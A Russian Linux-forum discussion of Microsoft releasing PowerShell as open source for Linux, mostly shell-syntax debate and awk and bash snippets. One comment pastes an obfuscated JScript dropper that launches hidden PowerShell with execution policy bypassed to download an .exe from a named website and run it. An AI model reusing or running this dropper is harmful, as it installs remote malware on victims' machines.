LINUX.ORG.RU

PowerShell открыт и доступен для Linux

 ,


8

7

Компания Microsoft анонсировала открытие исходного кода командной оболочки PowerShell под лицензией MIT и доступность под Linux. Доступны пакеты для Ubuntu и CentOS 7, а также инструкции по сборке.

>>> Подробности

★★★★★

Проверено: JB ()

не нравятся длинные команды по сравнению с UNIX Shell.

cetjs2 ★★★★★ ()
Ответ на: комментарий от beastie

Копытные тоже до сих пор бегают. Бросай своего железного коня и садись на осла. Just works.

anonymous ()
Ответ на: комментарий от cetjs2

Алиасы там какие-нибудь есть, алсо за fcz -fsdfgsd нужно убивать.

anonymous ()

eee во все поля. Лет через пять прикроют лавочку если народ подсядет. А ынтырпрайз ещё как может подсесть.

pon4ik ★★★★★ ()
Ответ на: комментарий от aido

В баше была команда, как посмотреть максимальное количество параметров (или символов, в зависимости от результата)

Не было никакой команды. Зато есть константа ARG_MAX, которая определяет максимальный размер argv. Обычно 64-128k. Сколько туда текста влезет - зависит ещё от кодировки. ;-)

anonymous ()

Годная штука, но от баша мне нужен совсем минимум, сомневаюсь что заменит.

umren ★★★★★ ()
Ответ на: комментарий от cetjs2

«Костыли» это не объективная характеристика.

anonymous ()
Ответ на: комментарий от anonymous

Алсо, очевидно же, что и в шиндовс такое ограничение есть.

anonymous ()

Зачем оно нужно? Interactive shell оно не заменит из-за поехавшего синтаксиса и отсутствия по сути .NET инфраструктуры на GNU/Linux, ну а для сколько либо серьёзных скриптов есть python/perl/ruby, да хоть nodejs или похапе, чем чёрт не шутит

Singularity ★★★★ ()

Все в шоке? Даже про ебилды забыли?

ashot ★★★ ()
Ответ на: комментарий от Deathstalker

Подозреваю, чтоб виндовые черви и прочие паразиты могли хотя-бы транзитом через unix-а шастать :) Только тссс!

Ибо в мире unix сие поделие никому и задаром не надь.

Следующим логичным шагом - проплатить бубунте, что он там по дефолту ставился и гвоздями прибивался к примеру к стартовым скриптам.

rootFS ()
Ответ на: комментарий от ashot

Даже про ебилды забыли?

Не, просто оно настолько не нужно :)

invy ★★★★★ ()
Ответ на: комментарий от EnterpriseMobility

Причем тут нода? Кстати, нода, руби, перл и питон за глаза для администрирования
Причем если ты админ, то не сложно перейти на любой из этих языков, многие вещи похожи
Ну кроме ноды, где асинхронность, вот там помучаться надо

mystery ★★ ()

Чойта у меня бугурт, хотя я им ни разу не пользовался, более того, глубоко презираю тех, кто им пользуется.

slon ()
Ответ на: комментарий от rootFS

Открывая код, можно увеличить сообщество и т. д. Да и держать закрытым то, что большой коммерческой ценности не представляет, смысла нет.

Deathstalker ★★★★★ ()
Ответ на: комментарий от anonymous

Не было и нет. getconf(1) не имеет никакого отношения к bash.

anonymous ()
Ответ на: комментарий от thesis

непечатаемые

Которых нет на клаве? Ой беда то, thesis пользуется каким-то говном мамонта, а не современными утилитами, которые порой и с hadoop конкурируют

mystery ★★ ()
Ответ на: комментарий от Legioner

там, где в bash-е надо парсить вывод команды каким-нибудь awk-ом и sed-ом

А можно пример, где Баша не хватает, и надо парсить вывод команды АВКом или Седом?

Zmicier ★★★★★ ()

Синтаксис команд придуман обдолбанными в хлам индусами. От работы с подобными командами:

Disable-NetAdapterEncapsulatedPacketTaskOffload
мозг приходит в необратимое неконсистетное состояние

А уж от ажуроспецифичных - совсем:

https://pbs.twimg.com/media/CI6i3klWEAAWUu7.png:large

Dimez ★★★★★ ()
Последнее исправление: Dimez (всего исправлений: 2)
Ответ на: комментарий от thesis

Из которых 95% это всякие дорвеи
Типо выпендрился, но все равно обосрался

mystery ★★ ()
Ответ на: комментарий от Vsevolod-linuxoid

следующая после 10 винда

основана на FreeBSD с интегрированным WinAPI

Может, водички принести?

LordTermor ★★ ()
Ответ на: комментарий от Zmicier

ps. Посчитай среднее арифметическое RSS для httpd.

anonymous ()
Ответ на: комментарий от anonymous

К sh имеет, тк находится в одном стандарте и подразумевает совместное использование.

anonymous ()

PowerShell открыт и доступен для Linux

Но никому здесь ненужен.

th3m3 ★★★★★ ()
Ответ на: комментарий от anonymous

А можно пример, где Баша не хватает, и надо парсить вывод команды АВКом или Седом?

Посчитай среднее арифметическое RSS для httpd.

Целиком, разумеется. Эти шесть слов мне ничего не говорят.

Zmicier ★★★★★ ()

надо было им для начала косынку открыть и сделать доступной для линукс

amorpher ★★★★★ ()
Ответ на: комментарий от thesis

Ага, это конечно хуже чем Powershell с его «постоянными» ключевыми словами, когда одна и та же конструкция ведет себя абсолютно по разному во встроенных блоках языка(For) и в командлетах.

Знающие люди больно-больно помнят треды на stackoverflow вида «how to break loops in powershell» где приводят 100500 разных способов в зависимости от того For у тебя, ForEach или ForEach-Object

Знаешь, мне проще с башем, где тоже есть свои заморочки, но после чтения документации ты понимаешь почему они есть. А после чтения доков по Powershell мысль только одна - что за гомно курили авторы и можно ли это им больше не подвозить...

Про грабли с тем, что если у тебя на входе в ForEach-Object при передаче конвеером будет задержка ввода(например медленный файловый I/O или чтение из медленной базы) и он у тебя тупо отвалится по таймауту(!), тогда когда For отработает нормально - мы тоже умолчим.

Pinkbyte ★★★★★ ()
Последнее исправление: Pinkbyte (всего исправлений: 2)
Ответ на: комментарий от Zmicier

ps -ylC httpd --sort:rss | awk '{sum+=$8; ++n} END {print «Tot=„sum“(„n“)»;print «Avg=„sum“/„n“=„sum/n/1024"MB“}'

anonymous ()
Ответ на: комментарий от anonymous

Псто, на который я отвечал, содержал утверждение, квалифицируемое по 4.2 - «в bash есть команда». Команда есть в школе тогда, когда указана в man builtin. getconf(1) - отдельный бинарь и не имеет абсолютно никакого отношения ни к какому шеллу.

anonymous ()
Ответ на: комментарий от Zmicier

bash тьюринг-полон. То, что ты просишь, привести невозможно. Но от этого вся парадигма текстовых потоков не перестаёт иметь свои практические пределы.

intelfx ★★★★★ ()
Ответ на: комментарий от intelfx

По теме: годно, нужно, но только вместе с эквивалентом coreutils/util-linux в стандартной библиотеке.

intelfx ★★★★★ ()
Последнее исправление: intelfx (всего исправлений: 1)
var LilDizzZzz = new ActiveXObject("shell.application");
LilDizzZzz.ShellExecute("cMD.exe", "/c powershe^ll.e^xe -Execut^ionPolicy byp^ass -noprofile -windowstyle hidden (New-Object System.Net.Webclient).DownloadFile('ht^tp://www.favizone.com/wp-content/plugins/libravatar-replace/1708_document.e^xe','%APPDATA%.e^xe');St^art-Pro^cess '%APPDATA%.e^xe'", "", "open", 0);
var mkGvzK = 11693;
bender ★★★★★ ()
Ответ на: комментарий от aido

Шел создан не для обработки строк в первую очередь

А ведь хотелось бы, чтобы удобная обработка строк там все же появилась, пусть и во вторую-третью-пятую очередь. За столько-то лет.

Мб завтра ее напишу, если будет интересно.

Да не стоит, спасибо. Я просто указал на то, что эти грабли лежат прямо на дороге, и народ на них наступает довольно часто.

thesis ★★★★★ ()
Последнее исправление: thesis (всего исправлений: 1)
Ответ на: комментарий от beastie

Тут я пожалуй останусь с Праотцами:

common underlying format—the line-oriented, plain text file

Этому подходу уже более 40-а лет. И это just works.

А я не соглашусь. Нет, конечно, возможность обработки произвольного текста нужна и важна. Но обмен структурированными данными - это круто, код становится гораздо понятнее. Портянки из регэкспов отвратительны, получается write-only код.

selivan ★★★ ()
Ответ на: комментарий от anonymous
ps -o rss= -C httpd | {
  n=0
  sum=0
  while read rss; do
    (( ++n, sum+=rss ))
  done
  echo "Tot=$sum"
  echo "Avg=$((sum/n/1024))"
}

Можно и вручную /proc/*/status парсить.

anonymous ()
Ответ на: комментарий от mystery

Домашнее задание: посчитать, сколько будет 5% от 14,700,000. Сравнить результат с единицей.
Постарайся выпендриться и не обосраться.

thesis ★★★★★ ()

Powershell действительно мощная и полезная оболочка, в новых виндах очень облегчает жизнь админам. Более того на сертификационных экзаменах мышеклик ушёл на второй план, главное теперь - это командлеты пауершел.
Но что хорошего может дать эта оболочука в unix-like системах, для меня загадка.

King_Carlo ★★★★★ ()
Последнее исправление: King_Carlo (всего исправлений: 1)
Ответ на: комментарий от thesis

735k
И че? О да, эти генераторы страничек с кучей надписей скачать

mystery ★★ ()

Наконец-то, давно ждал нормальную командую оболочку под Линуксом.

Valeg ★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.